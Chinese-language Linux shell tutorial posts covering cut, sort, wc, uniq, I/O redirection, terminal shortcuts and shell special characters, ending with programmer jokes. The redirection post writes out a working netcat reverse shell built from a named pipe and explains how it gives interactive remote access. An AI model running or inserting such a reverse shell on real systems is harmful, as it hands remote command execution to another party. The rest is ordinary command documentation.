  -c, --characters=列表		只选中指定的这些字符#如:cat /etc/p -d, --delimiter=分界符	使用指定分界符代替制表符作为区域分界
  -f, --fields=列表		只选中指定的这些域;并打印所有不包含分界符的
				行,除非-s 选项被指定
  -n				(忽略)
      --complement		补全选中的字节、字符或域
  -s, --only-delimited		不打印没有包含分界符的行
      --output-delimiter=字符串	使用指定的字符串作为输出分界符,默认采用输入
				的分界符
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出

仅使用f -b, -c 或-f 中的一个。每一个列表都是专门为一个类别作出的,或者您可以用逗号隔
开要同时显示的不同类别。您的输入顺序将作为读取顺序,每个仅能输入一次。
每种参数格式表示范围如下:
    N	从第1 个开始数的第N 个字节、字符或域
    N-	从第N 个开始到所在行结束的所有字符、字节或域
    N-M	从第N 个开始到第M 个之间(包括第M 个)的所有字符、字节或域
    -M	从第1 个开始到第M 个之间(包括第M 个)的所有字符、字节或域

当没有文件参数,或者文件不存在时,从标准输入读取

例子:

1,截取第一列的内容如


root@c2y2:/# cat passwd.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
root@c2y2:/# cat passwd.txt|cut -d ":" -f 1
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
list
irc
gnats
nobody


2,sort 排序命令

sort:常用于对文本按行进行排序

常用语法:

用法:sort [选项]... [文件]...
 或:sort [选项]... --files0-from=F
串联排序所有指定文件并将结果写到标准输出。

长选项必须使用的参数对于短选项时也是必需使用的。
排序选项:

  -b, --ignore-leading-blanks	忽略前导的空白区域
  -d, --dictionary-order	只考虑空白区域和字母字符
  -f, --ignore-case		忽略字母大小写
  -g, --general-numeric-sort	按照常规数值排序
  -i, --ignore-nonprinting	只排序可打印字符
  -M, --month-sort		比较 (未知) < "一月" < ... < "十二月"
				在LC_ALL=C 时为(unknown) < `JAN' < ... < `DEC'
  -h, --human-numeric-sort    使用易读性数字(例如: 2K 1G)
  -n, --numeric-sort		根据字符串数值比较
  -R, --random-sort		根据随机hash 排序
      --random-source=文件	从指定文件中获得随机字节
  -r, --reverse			逆序输出排序结果
      --sort=WORD		按照WORD 指定的格式排序:
					一般数字-g,高可读性-h,月份-M,数字-n,
					随机-R,版本-V
  -V, --version-sort		在文本内进行自然版本排序

其他选项:

      --batch-size=NMERGE	一次最多合并NMERGE 个输入;如果输入更多
					则使用临时文件
  -c, --check, --check=diagnose-first	检查输入是否已排序,若已有序则不进行操作
  -C, --check=quiet, --check=silent	类似-c,但不报告第一个无序行
      --compress-program=程序	使用指定程序压缩临时文件;使用该程序
					的-d 参数解压缩文件
      --debug			为用于排序的行添加注释,并将有可能有问题的
					用法输出到标准错误输出
      --files0-from=文件	从指定文件读取以NUL 终止的名称,如果该文件被
					指定为"-"则从标准输入读文件名
  -k, --key=位置1[,位置2]	在位置1 开始一个key,在位置2 终止(默认为行尾)
				参看POS 语法。
  -m, --merge			合并已排序的文件,不再进行排序
  -o, --output=文件		将结果写入到文件而非标准输出
  -s, --stable			禁用last-resort 比较以稳定比较算法
  -S, --buffer-size=大小	指定主内存缓存大小
  -t, --field-separator=分隔符	使用指定的分隔符代替非空格到空格的转换
  -T, --temporary-directory=目录	使用指定目录而非$TMPDIR 或/tmp 作为
					临时目录,可用多个选项指定多个目录
      --parallel=N		将同时运行的排序数改变为N
  -u, --unique		配合-c,严格校验排序;不配合-c,则只输出一次排序结果
  -z, --zero-terminated	以0 字节而非新行作为行尾标志
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出

例子:

1,统计网络访问并按ip排序


root@c2y2:/# netstat -atlnup|awk '{print $5}'|sort -n
:::*
:::*
:::*
:::*
:::*
0.0.0.0:*
0.0.0.0:*
0.0.0.0:*
0.0.0.0:*
0.0.0.0:*
0.0.0.0:*
Address
and
59.188.77.95:80
59.188.77.95:9998
63.245.216.134:443
63.245.217.207:443
74.125.235.198:443
115.239.210.151:80
173.194.72.113:443
173.194.72.113:443
178.63.49.5:443
178.63.49.5:443
220.181.111.96:80

3,wc 统计命令

wc:常用于统计行数,字节,或者字符数

常用语法:

用法:wc [选项]... [文件]...
  -c, --bytes            打印出字节总数
  -m, --chars          打印出字符总数
  -l, --lines              打印出总行数
      --files0-from=文件	从指定文件读取以NUL 终止的名称,如果该文件被
					指定为"-"则从标准输入读文件名
  -L, --max-line-length	显示最长行的长度
  -w, --words			显示单词计数
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出

例子:用于统计某个pass.txt的行数

root@c2y2:/# cat passwd.txt 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
root@c2y2:/# cat passwd.txt |wc -l
15

  4,uniq 合并匹配命令

uniq:这个指令用来将『重复的行删除掉只显示一个』(相邻的行才有效哦)

常用语法:

用法:uniq [选项]... [文件]
从输入文件或者标准输入中筛选相邻的匹配行并写入到输出文件或标准输出。
不附加任何选项时匹配行将在首次出现处被合并。
长选项必须使用的参数对于短选项时也是必需使用的。
  -c, --count		在每行前加上表示相应行目出现次数的前缀编号
  -d, --repeated	只输出重复的行
  -D, --all-repeated[=delimit-method	显示所有重复的行
			delimit-method={none(default),prepend,separate}
			以空行为界限
  -f, --skip-fields=N	比较时跳过前N 列
  -i, --ignore-case	在比较的时候不区分大小写
  -s, --skip-chars=N	比较时跳过前N 个字符
  -u, --unique		只显示唯一的行
  -z, --zero-terminated	使用'\0'作为行结束符,而不是新换行
  -w, --check-chars=N	对每行第N 个字符以后的内容不作对照
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出
例子:查看网络链接并合并同ip的
root@c2y2:/# netstat -atlnup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 192.168.28.126:34782    59.200.33.95:80         ESTABLISHED 3304/google-chrome-
tcp        0      0 192.168.28.126:43808    74.125.31.100:443       ESTABLISHED 3304/google-chrome-
tcp        0      0 192.168.28.126:35103    63.245.217.207:443      ESTABLISHED 11524/iceweasel 
tcp        0      0 192.168.28.126:52287    59.200.33.95:9998       ESTABLISHED 12273/fuckyou       
tcp        0      0 192.168.28.126:49368    74.125.235.198:443      ESTABLISHED 3304/google-chrome-
tcp        0      0 192.168.28.126:52504    178.63.49.5:443         ESTABLISHED 11524/iceweasel 
tcp        0      0 192.168.28.126:52499    178.63.49.5:443         TIME_WAIT   -               
tcp        0      0 192.168.28.126:51084    63.245.216.134:443      ESTABLISHED 11524/iceweasel 
udp        0      0 0.0.0.0:32824           0.0.0.0:*                           7389/dhclient   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           7389/dhclient   
udp        0      0 192.168.1.105:123       0.0.0.0:*                           2499/ntpd       
udp        0      0 192.168.28.126:123      0.0.0.0:*                           2499/ntpd       
udp        0      0 127.0.0.1:123           0.0.0.0:*                           2499/ntpd       
udp        0      0 0.0.0.0:123             0.0.0.0:*                           2499/ntpd       
udp6       0      0 :::64957                :::*                                7389/dhclient   
udp6       0      0 fe80::222:5fff:febf:123 :::*                                2499/ntpd       
udp6       0      0 fe80::182b:3cff:fe4:123 :::*                                2499/ntpd       
udp6       0      0 ::1:123                 :::*                                2499/ntpd       
udp6       0      0 :::123                  :::*                                2499/ntpd       
root@c2y2:/# netstat -atlnup|awk '{print $5}'|sort|uniq -c
      5 :::*
      6 0.0.0.0:*
      2 178.63.49.5:443
      1 59.200.33.95:80
      1 59.200.33.95:9998
      1 63.245.216.134:443
      1 63.245.217.207:443
      1 74.125.235.198:443
      1 74.125.31.100:443
      1 Address
      1 and


后记:例子没几个,:-),使用起来很简单,使用时直接看其使用手册就ok拉,man command ^_^。男人嘛,多man才行哦!

linux shell 之 输入输出重定向

  |   0 评论   |   2,675 浏览

1,标准输出,及错误输出 

标注输出:指令执行所回传的正确信息 标准错误输出:指令执行失败所传回来的信息

 标准输入  (stdin) :代码 0 ,使用 < 或 << ;
 标准输出  (stdout):代码 1 ,使用 > 或 >> ;
 标准错误输出 (stderr):代码 2 ,使用 2> 或 2>> ;

看着很简单明白吧,:-),来看看示例吧

1,标准错误出书

[root@c2y2 /]# cat /test 2>1.txt
[root@c2y2 /]# cat 1.txt 
cat: /test: No such file or directory
[root@c2y2 /]# 
2,标准输出
[root@c2y2 /]# ls -al 1>ls.txt
[root@c2y2 /]# cat ls.txt 
total 15194
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 .
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 ..
-rw-r--r--.   1 root root       38 Mar 24 23:24 1.txt
-rw-r--r--.   1 root root        0 Mar 13 00:37 .autofsck
dr-xr-xr-x.   2 root root     4096 Mar 14 03:20 bin
dr-xr-xr-x.   5 root root     1024 Feb 12 21:54 boot
drwx------.   3 root root     4096 Feb 25  2013 .dbus
drwxr-xr-x.  17 root root     3580 Mar 22 22:44 dev
drwxr-xr-x. 118 root root    12288 Mar 22 15:07 etc
drwxr-xr-x.   3 root root     4096 Feb 25 22:03 home
dr-xr-xr-x.  18 root root    12288 Mar 13 14:01 lib
drwx------.   2 root root    16384 Feb 25  2013 lost+found
-rw-r--r--.   1 root root        0 Mar 24 23:26 ls.txt
drwxr-xr-x.   3 root root     4096 Feb 12 08:59 media
drwxr-xr-x.   2 root root     4096 Feb 27  2013 media2
drwxr-xr-x.   2 root root        0 Mar 13 00:37 misc
drwxr-xr-x.   2 root root     4096 Sep 23  2011 mnt
drwxr-xr-x.   2 root root        0 Mar 13 00:37 net
drwxr-xr-x.   5 root root     4096 Feb 19 20:15 opt
dr-xr-xr-x. 123 root root        0 Mar 13 00:31 proc
dr-xr-x---.  21 root root     4096 Mar 24 23:22 root
dr-xr-xr-x.   2 root root    12288 Mar 13 14:01 sbin
drwxr-xr-x.   7 root root        0 Mar 13 00:31 selinux
drwxr-xr-x.   2 root root     4096 Sep 23  2011 srv
drwxr-xr-x.  13 root root        0 Mar 13 00:31 sys
drwxrwxrwt.   6 root root     4096 Mar 24 22:23 tmp
drwxr-xr-x.  14 root root     4096 Feb 22 12:55 usr
drwxr-xr-x.  22 root root     4096 Feb 25  2013 var
[root@c2y2 /]# 

3,标准输入

[root@c2y2 /]# cat > lstest.txt 0< ls.txt
[root@c2y2 /]# cat lstest.txt 
total 15194
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 .
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 ..
-rw-r--r--.   1 root root       38 Mar 24 23:24 1.txt
-rw-r--r--.   1 root root        0 Mar 13 00:37 .autofsck
dr-xr-xr-x.   2 root root     4096 Mar 14 03:20 bin
dr-xr-xr-x.   5 root root     1024 Feb 12 21:54 boot
drwx------.   3 root root     4096 Feb 25  2013 .dbus
drwxr-xr-x.  17 root root     3580 Mar 22 22:44 dev
drwxr-xr-x. 118 root root    12288 Mar 22 15:07 etc
drwxr-xr-x.   3 root root     4096 Feb 25 22:03 home
-rw-r--r--.   1 root root 15438448 Feb 25  2013 initramfs-2.6.32-220.el6.i686.img
dr-xr-xr-x.  18 root root    12288 Mar 13 14:01 lib
drwx------.   2 root root    16384 Feb 25  2013 lost+found
-rw-r--r--.   1 root root        0 Mar 24 23:26 ls.txt
drwxr-xr-x.   3 root root     4096 Feb 12 08:59 media
drwxr-xr-x.   2 root root     4096 Feb 27  2013 media2
drwxr-xr-x.   2 root root        0 Mar 13 00:37 misc
drwxr-xr-x.   2 root root     4096 Sep 23  2011 mnt
drwxr-xr-x.   2 root root        0 Mar 13 00:37 net
drwxr-xr-x.   5 root root     4096 Feb 19 20:15 opt
dr-xr-xr-x. 123 root root        0 Mar 13 00:31 proc
dr-xr-x---.  21 root root     4096 Mar 24 23:22 root
dr-xr-xr-x.   2 root root    12288 Mar 13 14:01 sbin
drwxr-xr-x.   7 root root        0 Mar 13 00:31 selinux
drwxr-xr-x.   2 root root     4096 Sep 23  2011 srv
drwxr-xr-x.  13 root root        0 Mar 13 00:31 sys
drwxrwxrwt.   6 root root     4096 Mar 24 22:23 tmp
drwxr-xr-x.  14 root root     4096 Feb 22 12:55 usr
drwxr-xr-x.  22 root root     4096 Feb 25  2013 var
[root@c2y2 /]# 

4,综合标准输入输出合起来,通过nc及管道建立反弹

服务器端:/bin/sh 0</tmp/testpipe |nc 192.168.28.126 80 1>/tmp/testpipe
客户端:nc -lvp 80
:-),这样我们就可以在本地客户端实现shell交互了
命令分解:
服务器端两部曲:
首先创建管道
 mknod /tmp/testpipe p
然后就综合了:



/bin/sh 0</tmp/testpipe |nc 192.168.28.126 80 1>/tmp/testpipe
工作原理:首先将管道testpipe内容作为标准输入为bash执行,并将结果通过‘|’输入到远端192.168.28.126,而远端的输入又将重定向输入本地管道testpipe,而testpipe又将作为标注输入到bash执行,:-),就这么一个循环,一个交互shell就这样ok了

管道:

    1,管道命令仅能处理标准的输入输出

    2,管道的输出必须能接受前一个指令的标准输出为标准输入并继续执行

    3,建立管道的方式:mknod xxx p 或者mkfifo xxx

linux shell 之 命令终端(Terminal)常用组合键及shell的一些转义和特殊字符

  |   2 评论   |   4,800 浏览

1,终端操作组合键(常用)

组合按键 执行结果
Ctrl + C 终止当前命令命令
Ctrl + D 输入结束,比如mail发邮件的时候
Ctrl + M 等同于enter键(回车)
Ctrl + S 暂停屏幕的输出
Ctrl + Q 恢复屏幕的输出
Ctrl + U 在提示字元下,将整行命令删除
Ctrl + Z 暂停当前命令

2,常用符号及含义(常用)

符号 含义
* 代表0到无限多个任意字符
? 通配符,代表一个字母
[ ] 代表『一定有一个括号内的』的字元(非任意字元)。例如 [abcd] 代表『一定有一个字元, 可能是 a, b, c, d 这四个任何一个』
[ - ] 若有减号在中括号内时,代表『在编码顺序内的任意字符』。例如 [0-9] 代表 0 到 9 之间的所有数字
[^ ] 如果为中括号的第一个字符,则表示反向选择即非

3,额外特殊字符

字符 内容
# 注释符号,在shell里,凡是#开头都表示不执行。
\ 跳脱符号,将shell终端该恰后面的字符组合成一个文本
| 管道(pipe)
; 连续指令下达符号,与管道命令不一样
~ 使用者home目录
$ 去前置变量的值
& 工作控制 (job control):将指令放到后台执行
! 逻辑符号,非,即不
/ 目录符号,及目录分割服
>, >> 输出导向,> 输出到,>>追加到
<, << 输入重定向,< 输入到,<<追加输入到
' ' 单引号
" " 双引号
` ` 中间可以执行shell等同于$( )
( ) 在中間為子 shell 的起始與結束
{ } 命令块组合

以上为shell中的特殊字符,尽量避免少用,以免造成不必要的麻烦。


只有程序员才能看懂,轻松一个刻

  |   0 评论   |   2,021 浏览

1、话说有个童鞋做了5年的java工程师,后来有一天,他想换行。。请问怎么办? 答。。按回车。。


2、《c++程序设计语言》比《c程序设 计语言》厚了几倍。。。果然有了对象就 麻烦很多。。。


3、这个世界上只有10种人:懂得二进制的和不懂得二进制的。


4、世界上最遥远的距离,是我在if里你在else里,似乎一直相伴又永远分离;


世界上最痴心的等待,是我当case你是switch,或许永远都选不上自己;


世界上最真情的相依,是你在try我在catch,无论你发神马脾气,我都默默承受,静静处理,到那时,再来期待我们的finally !


5、程序员A:“哥们儿,最近手头紧,借点钱?”
程序员B:“没问题,要多少?”
程序员A:“1000行不?”
程序员B:“可以!给你凑个整,1024,拿去吧。”


6、【程序员每日安排】
do
{
write_code();
eat();
sleep();
}
while(alive)


7、“你们用盗版的时候有想过做出这款软件的程序员吗?!他们该如何养家糊口?”
“哈哈哈,别逗了,程序员哪有家要养啊!”


出处:http://www.mspring.org/post/590.html